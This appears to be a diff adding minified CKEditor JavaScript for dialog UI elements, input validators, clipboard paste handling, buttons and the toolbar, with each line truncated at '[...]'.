+b,f=d&&d.width||null,k=d&&d.heights||null;CKEDITOR.ui.dialog.uiElement.call(this,a,d||{type:"vbox"},e,"div",null,{role:"presentation"},function(){var b=['<table role="presentation" cellspacing="0" border="0" '];b.push('style="');d&&d.expand&&b.push("height:100%;");b.push("width:"+s(f||"100%"),";");b.push('"');b.push('align="',CKEDITOR.tools.htmlEncode(d&&d.align||("ltr"==a.getParentEditor().lang.dir?"left":"right")),'" ');b.push("><tbody>");for(var e=0;e<c.length;e++){var h=[];b.push('<t [...]
+f&&h.push("width:"+s(f||"100%"));k?h.push("height:"+s(k[e])):d&&d.expand&&h.push("height:"+Math.floor(100/c.length)+"%");d&&void 0!=d.padding&&h.push("padding:"+s(d.padding));CKEDITOR.env.ie&&(CKEDITOR.env.quirks&&g[e].align)&&h.push("text-align:"+g[e].align);0<h.length&&b.push('style="',h.join("; "),'" ');b.push(' class="cke_dialog_ui_vbox_child">',c[e],"</td></tr>")}b.push("</tbody></table>");return b.join("")})}}}})();CKEDITOR.ui.dialog.uiElement.prototype={getElement:function(){retur [...]
+getInputElement:function(){return this.getElement()},getDialog:function(){return this._.dialog},setValue:function(a,b){this.getInputElement().setValue(a);!b&&this.fire("change",{value:a});return this},getValue:function(){return this.getInputElement().getValue()},isChanged:function(){return!1},selectParentTab:function(){for(var a=this.getInputElement();(a=a.getParent())&&-1==a.$.className.search("cke_dialog_page_contents"););if(!a)return this;a=a.getAttribute("name");this._.dialog._.curre [...]
+a&&this._.dialog.selectPage(a);return this},focus:function(){this.selectParentTab().getInputElement().focus();return this},registerEvents:function(a){var b=/^on([A-Z]\w+)/,c,e=function(a,b,c,d){b.on("load",function(){a.getInputElement().on(c,d,a)})},d;for(d in a)if(c=d.match(b))this.eventProcessors[d]?this.eventProcessors[d].call(this,this._.dialog,a[d]):e(this,this._.dialog,c[1].toLowerCase(),a[d]);return this},eventProcessors:{onLoad:function(a,b){a.on("load",b,this)},onShow:function(a [...]
+b,this)},onHide:function(a,b){a.on("hide",b,this)}},accessKeyDown:function(){this.focus()},accessKeyUp:function(){},disable:function(){var a=this.getElement();this.getInputElement().setAttribute("disabled","true");a.addClass("cke_disabled")},enable:function(){var a=this.getElement();this.getInputElement().removeAttribute("disabled");a.removeClass("cke_disabled")},isEnabled:function(){return!this.getElement().hasClass("cke_disabled")},isVisible:function(){return this.getInputElement().isV [...]
+isFocusable:function(){return!this.isEnabled()||!this.isVisible()?!1:!0}};CKEDITOR.ui.dialog.hbox.prototype=CKEDITOR.tools.extend(new CKEDITOR.ui.dialog.uiElement,{getChild:function(a){if(1>arguments.length)return this._.children.concat();a.splice||(a=[a]);return 2>a.length?this._.children[a[0]]:this._.children[a[0]]&&this._.children[a[0]].getChild?this._.children[a[0]].getChild(a.slice(1,a.length)):null}},!0);CKEDITOR.ui.dialog.vbox.prototype=new CKEDITOR.ui.dialog.hbox;(function(){var [...]
+c,e){for(var d=c.children,g,f=[],k=[],m=0;m<d.length&&(g=d[m]);m++){var j=[];f.push(j);k.push(CKEDITOR.dialog._.uiElementBuilders[g.type].build(a,g,j))}return new CKEDITOR.ui.dialog[c.type](a,k,f,e,c)}};CKEDITOR.dialog.addUIElement("hbox",a);CKEDITOR.dialog.addUIElement("vbox",a)})();CKEDITOR.dialogCommand=function(a,b){this.dialogName=a;CKEDITOR.tools.extend(this,b,!0)};CKEDITOR.dialogCommand.prototype={exec:function(a){CKEDITOR.env.opera?CKEDITOR.tools.setTimeout(function(){a.openDialo [...]
+0,this):a.openDialog(this.dialogName)},canUndo:!1,editorFocus:CKEDITOR.env.ie||CKEDITOR.env.webkit};(function(){var a=/^([a]|[^a])+$/,b=/^\d*$/,c=/^\d*(?:\.\d+)?$/,e=/^(((\d*(\.\d+))|(\d*))(px|\%)?)?$/,d=/^(((\d*(\.\d+))|(\d*))(px|em|ex|in|cm|mm|pt|pc|\%)?)?$/i,g=/^(\s*[\w-]+\s*:\s*[^:;]+(?:;|$))*$/;CKEDITOR.VALIDATE_OR=1;CKEDITOR.VALIDATE_AND=2;CKEDITOR.dialog.validate={functions:function(){var a=arguments;return function(){var b=this&&this.getValue?this.getValue():a[0],c=void 0,d=CKEDI [...]
+e=[],g;for(g=0;g<a.length;g++)if("function"==typeof a[g])e.push(a[g]);else break;g<a.length&&"string"==typeof a[g]&&(c=a[g],g++);g<a.length&&"number"==typeof a[g]&&(d=a[g]);var i=d==CKEDITOR.VALIDATE_AND?!0:!1;for(g=0;g<e.length;g++)i=d==CKEDITOR.VALIDATE_AND?i&&e[g](b):i||e[g](b);return!i?c:!0}},regex:function(a,b){return function(c){c=this&&this.getValue?this.getValue():c;return!a.test(c)?b:!0}},notEmpty:function(b){return this.regex(a,b)},integer:function(a){return this.regex(b,a)},nu [...]
+a)},cssLength:function(a){return this.functions(function(a){return d.test(CKEDITOR.tools.trim(a))},a)},htmlLength:function(a){return this.functions(function(a){return e.test(CKEDITOR.tools.trim(a))},a)},inlineStyle:function(a){return this.functions(function(a){return g.test(CKEDITOR.tools.trim(a))},a)},equals:function(a,b){return this.functions(function(b){return b==a},b)},notEqual:function(a,b){return this.functions(function(b){return b!=a},b)}};CKEDITOR.on("instanceDestroyed",function( [...]
+CKEDITOR.dialog._.currentTop;)b.hide();for(var c in w)w[c].remove();w={}}var a=a.editor._.storedDialogs,d;for(d in a)a[d].destroy()})})();CKEDITOR.tools.extend(CKEDITOR.editor.prototype,{openDialog:function(a,b){var c=null,e=CKEDITOR.dialog._.dialogDefinitions[a];null===CKEDITOR.dialog._.currentTop&&J(this);if("function"==typeof e)c=this._.storedDialogs||(this._.storedDialogs={}),c=c[a]||(c[a]=new CKEDITOR.dialog(this,a)),b&&b.call(c,c),c.show();else{if("failed"==e)throw K(this),Error('[ [...]
+a+'" failed when loading definition.');"string"==typeof e&&CKEDITOR.scriptLoader.load(CKEDITOR.getUrl(e),function(){"function"!=typeof CKEDITOR.dialog._.dialogDefinitions[a]&&(CKEDITOR.dialog._.dialogDefinitions[a]="failed");this.openDialog(a,b)},this,0,1)}CKEDITOR.skin.loadPart("dialog");return c}})})();
+CKEDITOR.plugins.add("dialog",{requires:"dialogui",init:function(p){p.on("contentDom",function(){var u=p.editable();u.attachListener(u,"dblclick",function(q){if(p.readOnly)return!1;q={element:q.data.getTarget()};p.fire("doubleclick",q);q.dialog&&p.openDialog(q.dialog);return 1})})}});(function(){function v(b){function a(){var e=b.editable();e.on(q,function(b){(!CKEDITOR.env.ie||!m)&&u(b)});CKEDITOR.env.ie&&e.on("paste",function(e){r||(f(),e.data.preventDefault(),u(e),l("paste")||b.openDi [...]
+e,startDisabled:!0,exec:function(){"cut"==this.type&&j();var e;var a=this.type;if(CKEDITOR.env.ie)e=l(a);else try{e=b.document.$.execCommand(a,!1,null)}catch(c){e=!1}e||alert(b.lang.clipboard[this.type+"Error"]);return e}}}function c(){return{canUndo:!1,async:!0,exec:function(b,a){var c=function(a,c){a&&g(a.type,a.dataValue,!!c);b.fire("afterCommandExec",{name:"paste",command:d,returnValue:!!a})},d=this;"string"==typeof a?c({type:"auto",dataValue:a},1):b.getClipboardData(c)}}}function f( [...]
+0},100)}function h(){m=1;setTimeout(function(){m=0},10)}function l(e){var a=b.document,c=a.getBody(),d=!1,j=function(){d=!0};c.on(e,j);(7<CKEDITOR.env.version?a.$:a.$.selection.createRange()).execCommand(e);c.removeListener(e,j);return d}function g(e,a,c){e={type:e};if(c&&!b.fire("beforePaste",e)||!a)return!1;e.dataValue=a;return b.fire("paste",e)}function j(){if(CKEDITOR.env.ie&&!CKEDITOR.env.quirks){var e=b.getSelection(),a,c,d;if(e.getType()==CKEDITOR.SELECTION_ELEMENT&&(a=e.getSelect [...]
+e.getRanges()[0],d=b.document.createText(""),d.insertBefore(a),c.setStartBefore(d),c.setEndAfter(a),e.selectRanges([c]),setTimeout(function(){a.getParent()&&(d.remove(),e.selectElement(a))},0)}}function k(a,c){var d=b.document,j=b.editable(),k=function(b){b.cancel()},f=CKEDITOR.env.gecko&&10902>=CKEDITOR.env.version;if(!d.getById("cke_pastebin")){var h=b.getSelection(),o=h.createBookmarks(),i=new CKEDITOR.dom.element(j.is("body")&&!CKEDITOR.env.ie&&!CKEDITOR.env.opera?"body":"div",d);i.s [...]
+"cke_pastebin");CKEDITOR.env.opera&&i.appendBogus();var g=0,d=d.getWindow();f?(i.insertAfter(o[0].startNode),i.setStyle("display","inline")):(CKEDITOR.env.webkit?(j.append(i),g=(j.is("body")?j:CKEDITOR.dom.element.get(i.$.offsetParent)).getDocumentPosition().y):j.getAscendant(CKEDITOR.env.ie||CKEDITOR.env.opera?"body":"html",1).append(i),i.setStyles({position:"absolute",top:d.getScrollPosition().y-g+10+"px",width:"1px",height:Math.max(1,d.getViewPaneSize().height-20)+"px",overflow:"hidde [...]
+padding:0}));(f=i.getParent().isReadOnly())?(i.setOpacity(0),i.setAttribute("contenteditable",!0)):i.setStyle("ltr"==b.config.contentsLangDirection?"left":"right","-1000px");b.on("selectionChange",k,null,null,0);f&&i.focus();f=new CKEDITOR.dom.range(i);f.selectNodeContents(i);var l=f.select();if(CKEDITOR.env.ie)var m=j.once("blur",function(){b.lockSelection(l)});setTimeout(function(){m&&m.removeListener();CKEDITOR.env.ie&&j.focus();h.selectBookmarks(o);i.remove();var a;if(CKEDITOR.env.we [...]
+i.getFirst())&&a.is&&a.hasClass("Apple-style-span"))i=a;b.removeListener("selectionChange",k);c(i.getHtml())},0)}}function o(){if(CKEDITOR.env.ie){b.focus();f();var a=b.focusManager;a.lock();if(b.editable().fire(q)&&!l("paste"))return a.unlock(),!1;a.unlock()}else try{if(b.editable().fire(q)&&!b.document.$.execCommand("Paste",!1,null))throw 0;}catch(c){return!1}return!0}function p(a){if("wysiwyg"==b.mode)switch(a.data.keyCode){case CKEDITOR.CTRL+86:case CKEDITOR.SHIFT+45:a=b.editable();f [...]
+a.fire("beforepaste");(CKEDITOR.env.opera||CKEDITOR.env.gecko&&10900>CKEDITOR.env.version)&&a.fire("paste");break;case CKEDITOR.CTRL+88:case CKEDITOR.SHIFT+46:b.fire("saveSnapshot"),setTimeout(function(){b.fire("saveSnapshot")},0)}}function u(a){var c={type:"auto"},d=b.fire("beforePaste",c);k(a,function(b){b=b.replace(/<span[^>]+data-cke-bookmark[^<]*?<\/span>/ig,"");d&&g(c.type,b,0,1)})}function s(){if("wysiwyg"==b.mode){var a=n("Paste");b.getCommand("cut").setState(n("Cut"));b.getComma [...]
+b.getCommand("paste").setState(a);b.fire("pasteState",a)}}function n(a){var c;if(t&&a in{Paste:1,Cut:1})return CKEDITOR.TRISTATE_DISABLED;if("Paste"==a){CKEDITOR.env.ie&&(m=1);try{c=b.document.$.queryCommandEnabled(a)||CKEDITOR.env.webkit}catch(d){}m=0}else a=b.getSelection(),c=a.getRanges(),c=a.type!=CKEDITOR.SELECTION_NONE&&!(1==c.length&&c[0].collapsed);return c?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED}var m=0,r=0,t=0,q=CKEDITOR.env.ie?"beforepaste":"paste";(function(){b.on("k [...]
+a);b.on("selectionChange",function(b){t=b.data.selection.getRanges()[0].checkReadOnly();s()});b.contextMenu&&b.contextMenu.addListener(function(b,a){t=a.getRanges()[0].checkReadOnly();return{cut:n("Cut"),copy:n("Copy"),paste:n("Paste")}})})();(function(){function a(c,d,j,e,f){var k=b.lang.clipboard[d];b.addCommand(d,j);b.ui.addButton&&b.ui.addButton(c,{label:k,command:d,toolbar:"clipboard,"+e});b.addMenuItems&&b.addMenuItem(d,{label:k,command:d,group:"clipboard",order:f})}a("Cut","cut",d [...]
+1);a("Copy","copy",d("copy"),20,4);a("Paste","paste",c(),30,8)})();b.getClipboardData=function(a,c){function d(a){a.removeListener();a.cancel();c(a.data)}function j(a){a.removeListener();a.cancel();g=!0;c({type:h,dataValue:a.data})}function f(){this.customTitle=a&&a.title}var k=!1,h="auto",g=!1;c||(c=a,a=null);b.on("paste",d,null,null,0);b.on("beforePaste",function(a){a.removeListener();k=true;h=a.data.type},null,null,1E3);!1===o()&&(b.removeListener("paste",d),k&&b.fire("pasteDialog",f) [...]
+j),b.on("dialogHide",function(a){a.removeListener();a.data.removeListener("pasteDialogCommit",j);setTimeout(function(){g||c(null)},10)})):c(null))}}function w(b){if(CKEDITOR.env.webkit){if(!b.match(/^[^<]*$/g)&&!b.match(/^(<div><br( ?\/)?><\/div>|<div>[^<]*<\/div>)*$/gi))return"html"}else if(CKEDITOR.env.ie){if(!b.match(/^([^<]|<br( ?\/)?>)*$/gi)&&!b.match(/^(<p>([^<]|<br( ?\/)?>)*<\/p>|(\r\n))*$/gi))return"html"}else if(CKEDITOR.env.gecko||CKEDITOR.env.opera){if(!b.match(/^([^<]|<br( ?\ [...]
+return"htmlifiedtext"}function x(b,a){function d(a){return CKEDITOR.tools.repeat("</p><p>",~~(a/2))+(1==a%2?"<br>":"")}a=a.replace(/\s+/g," ").replace(/> +</g,"><").replace(/<br ?\/>/gi,"<br>");a=a.replace(/<\/?[A-Z]+>/g,function(a){return a.toLowerCase()});if(a.match(/^[^<]$/))return a;CKEDITOR.env.webkit&&-1<a.indexOf("<div>")&&(a=a.replace(/^(<div>(<br>|)<\/div>)(?!$|(<div>(<br>|)<\/div>))/g,"<br>").replace(/^(<div>(<br>|)<\/div>){2}(?!$)/g,"<div></div>"),a.match(/<div>(<br>|)<\/div>/ [...]
+a.replace(/(<div>(<br>|)<\/div>)+/g,function(a){return d(a.split("</div><div>").length+1)})+"</p>"),a=a.replace(/<\/div><div>/g,"<br>"),a=a.replace(/<\/?div>/g,""));if((CKEDITOR.env.gecko||CKEDITOR.env.opera)&&b.enterMode!=CKEDITOR.ENTER_BR)CKEDITOR.env.gecko&&(a=a.replace(/^<br><br>$/,"<br>")),-1<a.indexOf("<br><br>")&&(a="<p>"+a.replace(/(<br>){2,}/g,function(a){return d(a.length/4)})+"</p>");return p(b,a)}function y(){var b=new CKEDITOR.htmlParser.filter,a={blockquote:1,dl:1,fieldset: [...]
+h3:1,h4:1,h5:1,h6:1,ol:1,p:1,table:1,ul:1},d=CKEDITOR.tools.extend({br:0},CKEDITOR.dtd.$inline),c={p:1,br:1,"cke:br":1},f=CKEDITOR.dtd,h=CKEDITOR.tools.extend({area:1,basefont:1,embed:1,iframe:1,map:1,object:1,param:1},CKEDITOR.dtd.$nonBodyContent,CKEDITOR.dtd.$cdata),l=function(a){delete a.name;a.add(new CKEDITOR.htmlParser.text(" "))},g=function(a){for(var b=a,c;(b=b.next)&&b.name&&b.name.match(/^h\d$/);){c=new CKEDITOR.htmlParser.element("cke:br");c.isEmpty=!0;for(a.add(c);c=b.childre [...]
+b.addRules({elements:{h1:g,h2:g,h3:g,h4:g,h5:g,h6:g,img:function(a){var a=CKEDITOR.tools.trim(a.attributes.alt||""),b=" ";a&&!a.match(/(^http|\.(jpe?g|gif|png))/i)&&(b=" ["+a+"] ");return new CKEDITOR.htmlParser.text(b)},td:l,th:l,$:function(b){var k=b.name,g;if(h[k])return!1;delete b.attributes;if("br"==k)return b;if(a[k])b.name="p";else if(d[k])delete b.name;else if(f[k]){g=new CKEDITOR.htmlParser.element("cke:br");g.isEmpty=!0;if(CKEDITOR.dtd.$empty[k])return g;b.add(g,0);g=g.clone(); [...]
+!0;b.add(g);delete b.name}c[b.name]||delete b.name;return b}}});return b}function z(b,a,d){var a=new CKEDITOR.htmlParser.fragment.fromHtml(a),c=new CKEDITOR.htmlParser.basicWriter;a.writeHtml(c,d);var a=c.getHtml(),a=a.replace(/\s*(<\/?[a-z:]+ ?\/?>)\s*/g,"$1").replace(/(<cke:br \/>){2,}/g,"<cke:br />").replace(/(<cke:br \/>)(<\/?p>|<br \/>)/g,"$2").replace(/(<\/?p>|<br \/>)(<cke:br \/>)/g,"$1").replace(/<(cke:)?br( \/)?>/g,"<br>").replace(/<p><\/p>/g,""),f=0,a=a.replace(/<\/?p>/g,functi [...]
+a){if(1<++f)return"</p><p>"}else if(0<--f)return"</p><p>";return a}).replace(/<p><\/p>/g,"");return p(b,a)}function p(b,a){b.enterMode==CKEDITOR.ENTER_BR?a=a.replace(/(<\/p><p>)+/g,function(a){return CKEDITOR.tools.repeat("<br>",2*(a.length/7))}).replace(/<\/?p>/g,""):b.enterMode==CKEDITOR.ENTER_DIV&&(a=a.replace(/<(\/)?p>/g,"<$1div>"));return a}CKEDITOR.plugins.add("clipboard",{requires:"dialog",init:function(b){var a;v(b);CKEDITOR.dialog.add("paste",CKEDITOR.getUrl(this.path+"dialogs/p [...]
+b.on("paste",function(a){var b=a.data.dataValue,f=CKEDITOR.dtd.$block;-1<b.indexOf("Apple-")&&(b=b.replace(/<span class="Apple-converted-space"> <\/span>/gi," "),"html"!=a.data.type&&(b=b.replace(/<span class="Apple-tab-span"[^>]*>([^<]*)<\/span>/gi,function(a,b){return b.replace(/\t/g," ")})),-1<b.indexOf('<br class="Apple-interchange-newline">')&&(a.data.startsWithEOL=1,a.data.preSniffing="html",b=b.replace(/<br class="Apple-interchange-newline">/,"")),b=b.replac [...]
+"$1"));if(b.match(/^<[^<]+cke_(editable|contents)/i)){var h,l,g=new CKEDITOR.dom.element("div");for(g.setHtml(b);1==g.getChildCount()&&(h=g.getFirst())&&(h.hasClass("cke_editable")||h.hasClass("cke_contents"));)g=l=h;l&&(b=l.getHtml().replace(/<br>$/i,""))}CKEDITOR.env.ie?b=b.replace(/^ (?: |\r\n)?<(\w+)/g,function(b,c){if(c.toLowerCase()in f){a.data.preSniffing="html";return"<"+c}return b}):CKEDITOR.env.webkit?b=b.replace(/<\/(\w+)><div><br><\/div>$/,function(b,c){if(c in f){a.data [...]
+1;return"</"+c+">"}return b}):CKEDITOR.env.gecko&&(b=b.replace(/(\s)<br>$/,"$1"));a.data.dataValue=b},null,null,3);b.on("paste",function(d){var d=d.data,c=d.type,f=d.dataValue,h,l=b.config.clipboard_defaultContentType||"html";h="html"==c||"html"==d.preSniffing?"html":w(f);"htmlifiedtext"==h?f=x(b.config,f):"text"==c&&"html"==h&&(f=z(b.config,f,a||(a=y(b))));d.startsWithEOL&&(f='<br data-cke-eol="1">'+f);d.endsWithEOL&&(f+='<br data-cke-eol="1">');"auto"==c&&(c="html"==h||"html"==l?"html" [...]
+d.type=c;d.dataValue=f;delete d.preSniffing;delete d.startsWithEOL;delete d.endsWithEOL},null,null,6);b.on("paste",function(a){a=a.data;b.insertHtml(a.dataValue,a.type);setTimeout(function(){b.fire("afterPaste")},0)},null,null,1E3);b.on("pasteDialog",function(a){setTimeout(function(){b.openDialog("paste",a.data)},0)})}})})();(function(){var b='<a id="{id}" class="cke_button cke_button__{name} cke_button_{state} {cls}"'+(CKEDITOR.env.gecko&&10900<=CKEDITOR.env.version&&!CKEDITOR.env.hc?"" [...]
+b+(' onkeydown="return CKEDITOR.tools.callFunction({keydownFn},event);" onfocus="return CKEDITOR.tools.callFunction({focusFn},event);" onmousedown="return CKEDITOR.tools.callFunction({mousedownFn},event);" '+(CKEDITOR.env.ie?'onclick="return false;" onmouseup':"onclick")+'="CKEDITOR.tools.callFunction({clickFn},this);return false;"><span class="cke_button_icon cke_button__{iconName}_icon" style="{style}"'),b=b+'> </span><span id="{id}_label" class="cke_button_label cke_button__{nam [...]
+m=CKEDITOR.addTemplate("buttonArrow",'<span class="cke_button_arrow">'+(CKEDITOR.env.hc?"▼":"")+"</span>"),n=CKEDITOR.addTemplate("button",b);CKEDITOR.plugins.add("button",{beforeInit:function(a){a.ui.addHandler(CKEDITOR.UI_BUTTON,CKEDITOR.ui.button.handler)}});CKEDITOR.UI_BUTTON="button";CKEDITOR.ui.button=function(a){CKEDITOR.tools.extend(this,a,{title:a.label,click:a.click||function(b){b.execCommand(a.command)}});this._={}};CKEDITOR.ui.button.handler={create:function(a){return n [...]
+CKEDITOR.ui.button.prototype={render:function(a,b){var e=CKEDITOR.env,i=this._.id=CKEDITOR.tools.getNextId(),f="",d=this.command,l;this._.editor=a;var c={id:i,button:this,editor:a,focus:function(){CKEDITOR.document.getById(i).focus()},execute:function(){this.button.click(a)},attach:function(a){this.button.attach(a)}},o=CKEDITOR.tools.addFunction(function(a){if(c.onkey)return a=new CKEDITOR.dom.event(a),!1!==c.onkey(c,a.getKeystroke())}),p=CKEDITOR.tools.addFunction(function(a){var b;c.on [...]
+!1!==c.onfocus(c,new CKEDITOR.dom.event(a)));CKEDITOR.env.gecko&&10900>CKEDITOR.env.version&&a.preventBubble();return b}),j=0,q=CKEDITOR.tools.addFunction(function(){if(CKEDITOR.env.opera){var b=a.editable();b.isInline()&&b.hasFocus&&(a.lockSelection(),j=1)}});c.clickFn=l=CKEDITOR.tools.addFunction(function(){j&&(a.unlockSelection(1),j=0);c.execute()});if(this.modes){var k={},g=function(){var b=a.mode;b&&(b=this.modes[b]?void 0!=k[b]?k[b]:CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED, [...]
+!this.readOnly?CKEDITOR.TRISTATE_DISABLED:b))};a.on("beforeModeUnload",function(){a.mode&&this._.state!=CKEDITOR.TRISTATE_DISABLED&&(k[a.mode]=this._.state)},this);a.on("mode",g,this);!this.readOnly&&a.on("readOnly",g,this)}else if(d&&(d=a.getCommand(d)))d.on("state",function(){this.setState(d.state)},this),f+=d.state==CKEDITOR.TRISTATE_ON?"on":d.state==CKEDITOR.TRISTATE_DISABLED?"disabled":"off";if(this.directional)a.on("contentDirChanged",function(b){var c=CKEDITOR.document.getById(thi [...]
+c.getFirst(),b=b.data;b!=a.lang.dir?c.addClass("cke_"+b):c.removeClass("cke_ltr").removeClass("cke_rtl");d.setAttribute("style",CKEDITOR.skin.getIconStyle(h,"rtl"==b,this.icon,this.iconOffset))},this);d||(f+="off");var h=g=this.name||this.command;this.icon&&!/\./.test(this.icon)&&(h=this.icon,this.icon=null);e={id:i,name:g,iconName:h,label:this.label,cls:this.className||"",state:f,title:this.title,titleJs:e.gecko&&10900<=e.version&&!e.hc?"":(this.title||"").replace("'",""),hasArrow:this. [...]
+"true":"false",keydownFn:o,mousedownFn:q,focusFn:p,clickFn:l,style:CKEDITOR.skin.getIconStyle(h,"rtl"==a.lang.dir,this.icon,this.iconOffset),arrowHtml:this.hasArrow?m.output():""};n.output(e,b);if(this.onRender)this.onRender();return c},setState:function(a){if(this._.state==a)return!1;this._.state=a;var b=CKEDITOR.document.getById(this._.id);return b?(b.setState(a,"cke_button"),!0):!1}};CKEDITOR.ui.prototype.addButton=function(a,b){this.add(a,CKEDITOR.UI_BUTTON,b)}})();(function(){functi [...]
+b){return a.order==b.order?0:0>b.order?-1:0>a.order?1:a.order<b.order?-1:1});return b}function c(a,c){if(c.length){a.items?a.items.push("-"):a.items=[];for(var d;d=c.shift();)a.items.push(d.name)}}var d=a.config.toolbar;"string"==typeof d&&(d=a.config["toolbar_"+d]);return a.toolbar=d||e()}function o(a){return a._.toolbarGroups||(a._.toolbarGroups=[{name:"document",groups:["mode","document","doctools"]},{name:"clipboard",groups:["clipboard","undo"]},{name:"editing",groups:["find","select [...]
+{name:"forms"},"/",{name:"basicstyles",groups:["basicstyles","cleanup"]},{name:"paragraph",groups:["list","indent","blocks","align"]},{name:"links"},{name:"insert"},"/",{name:"styles"},{name:"colors"},{name:"tools"},{name:"others"},{name:"about"}])}var t=function(){this.toolbars=[];this.focusCommandExecuted=!1};t.prototype.focus=function(){for(var a=0,e;e=this.toolbars[a++];)for(var h=0,c;c=e.items[h++];)if(c.focus){c.focus();return}};var x={modes:{wysiwyg:1,source:1},readOnly:1,exec:fun [...]
+(a.toolbox.focusCommandExecuted=!0,CKEDITOR.env.ie||CKEDITOR.env.air?setTimeout(function(){a.toolbox.focus()},100):a.toolbox.focus())}};CKEDITOR.plugins.add("toolbar",{requires:"button",init:function(a){var e,h=function(c,d){var b,g="rtl"==a.lang.dir,f=a.config.toolbarGroupCycling,f=void 0===f||f;switch(d){case 9:case CKEDITOR.SHIFT+9:for(;!b||!b.items.length;)if(b=9==d?(b?b.next:c.toolbar.next)||a.toolbox.toolbars[0]:(b?b.previous:c.toolbar.previous)||a.toolbox.toolbars[a.toolbox.toolba [...]
+1],b.items.length)for(c=b.items[e?b.items.length-1:0];c&&!c.focus;)(c=e?c.previous:c.next)||(b=0);c&&c.focus();return!1;case g?37:39:case 40:b=c;do b=b.next,!b&&f&&(b=c.toolbar.items[0]);while(b&&!b.focus);b?b.focus():h(c,9);return!1;case g?39:37:case 38:b=c;do b=b.previous,!b&&f&&(b=c.toolbar.items[c.toolbar.items.length-1]);while(b&&!b.focus);b?b.focus():(e=1,h(c,CKEDITOR.SHIFT+9),e=0);return!1;case 27:return a.focus(),!1;case 13:case 32:return c.execute(),!1}return!0};a.on("uiSpace",f [...]
+a.config.toolbarLocation){a.toolbox=new t;var d=CKEDITOR.tools.getNextId(),b=a.config.removeButtons,b=b&&b.split(","),g=['<span id="',d,'" class="cke_voice_label">',a.lang.toolbar.toolbars,"</span>",'<span id="'+a.ui.spaceId("toolbox")+'" class="cke_toolbox" role="group" aria-labelledby="',d,'" onmousedown="return false;">'],d=!1!==a.config.toolbarStartupExpanded,f,e;a.config.toolbarCanCollapse&&a.elementMode!=CKEDITOR.ELEMENT_MODE_INLINE&&g.push('<span class="cke_toolbox_main"'+(d?">":' [...]
+for(var o=a.toolbox.toolbars,n=w(a),l=0;l<n.length;l++){var j,i=0,q,m=n[l],r;if(m)if(f&&(g.push("</span>"),e=f=0),"/"===m)g.push('<span class="cke_toolbar_break"></span>');else{r=m.items||m;for(var s=0;s<r.length;s++){var k;k=r[s];var u;if(!(b&&0<=CKEDITOR.tools.indexOf(b,k))&&(k=a.ui.create(k)))if(k.type==CKEDITOR.UI_SEPARATOR)e=f&&k;else{u=!1!==k.canGroup;if(!i){j=CKEDITOR.tools.getNextId();i={id:j,items:[]};q=m.name&&(a.lang.toolbar.toolbarGroups[m.name]||m.name);g.push('<span id="',j [...]
+q?' aria-labelledby="'+j+'_label"':"",' role="toolbar">');q&&g.push('<span id="',j,'_label" class="cke_voice_label">',q,"</span>");g.push('<span class="cke_toolbar_start"></span>');var p=o.push(i)-1;0<p&&(i.previous=o[p-1],i.previous.next=i)}u?f||(g.push('<span class="cke_toolgroup" role="presentation">'),f=1):f&&(g.push("</span>"),f=0);j=function(b){b=b.render(a,g);p=i.items.push(b)-1;if(p>0){b.previous=i.items[p-1];b.previous.next=b}b.toolbar=i;b.onkey=h;b.onfocus=function(){a.toolbox. [...]
+a.focus()}};e&&(j(e),e=0);j(k)}}f&&(g.push("</span>"),e=f=0);i&&g.push('<span class="cke_toolbar_end"></span></span>')}}a.config.toolbarCanCollapse&&g.push("</span>");if(a.config.toolbarCanCollapse&&a.elementMode!=CKEDITOR.ELEMENT_MODE_INLINE){var v=CKEDITOR.tools.addFunction(function(){a.execCommand("toolbarCollapse")});a.on("destroy",function(){CKEDITOR.tools.removeFunction(v)});a.addCommand("toolbarCollapse",{readOnly:1,exec:function(a){var b=a.ui.space("toolbar_collapser"),c=b.getPre [...]
+a.ui.space("contents"),e=c.getParent(),f=parseInt(d.$.style.height,10),g=e.$.offsetHeight,h=b.hasClass("cke_toolbox_collapser_min");h?(c.show(),b.removeClass("cke_toolbox_collapser_min"),b.setAttribute("title",a.lang.toolbar.toolbarCollapse)):(c.hide(),b.addClass("cke_toolbox_collapser_min"),b.setAttribute("title",a.lang.toolbar.toolbarExpand));b.getFirst().setText(h?"▲":"◀");d.setStyle("height",f-(e.$.offsetHeight-g)+"px");a.fire("resize")},modes:{wysiwyg:1,source:1}});a.setKeystroke(CK [...]
+(CKEDITOR.env.ie||CKEDITOR.env.webkit?189:109),"toolbarCollapse");g.push('<a title="'+(d?a.lang.toolbar.toolbarCollapse:a.lang.toolbar.toolbarExpand)+'" id="'+a.ui.spaceId("toolbar_collapser")+'" tabIndex="-1" class="cke_toolbox_collapser');d||g.push(" cke_toolbox_collapser_min");g.push('" onclick="CKEDITOR.tools.callFunction('+v+')">','<span class="cke_arrow">▲</span>',"</a>")}g.push("</span>");c.data.html+=g.join("")}});a.on("destroy",function(){if(this.toolbox){var a,d=0,b,e,f;f [...]
+a.length;d++){e=a[d].items;for(b=0;b<e.length;b++)f=e[b],f.clickFn&&CKEDITOR.tools.removeFunction(f.clickFn),f.keyDownFn&&CKEDITOR.tools.removeFunction(f.keyDownFn)}}});a.on("uiReady",function(){var c=a.ui.space("toolbox");c&&a.focusManager.add(c,1)});a.addCommand("toolbarFocus",x);a.setKeystroke(CKEDITOR.ALT+121,"toolbarFocus");a.ui.add("-",CKEDITOR.UI_SEPARATOR,{});a.ui.addHandler(CKEDITOR.UI_SEPARATOR,{create:function(){return{render:function(a,d){d.push('<span class="cke_toolbar_sepa [...]
+return{}}}}})}});CKEDITOR.ui.prototype.addToolbarGroup=function(a,e,h){var c=o(this.editor),d=0===e,b={name:a};if(h){if(h=CKEDITOR.tools.search(c,function(a){return a.name==h})){!h.groups&&(h.groups=[]);if(e&&(e=CKEDITOR.tools.indexOf(h.groups,e),0<=e)){h.groups.splice(e+1,0,a);return}d?h.groups.splice(0,0,a):h.groups.push(a);return}e=null}e&&(e=CKEDITOR.tools.indexOf(c,function(a){return a.name==e}));d?c.splice(0,0,a):"number"==typeof e?c.splice(e+1,0,b):c.push(a)}})();CKEDITOR.UI_SEPAR [...]
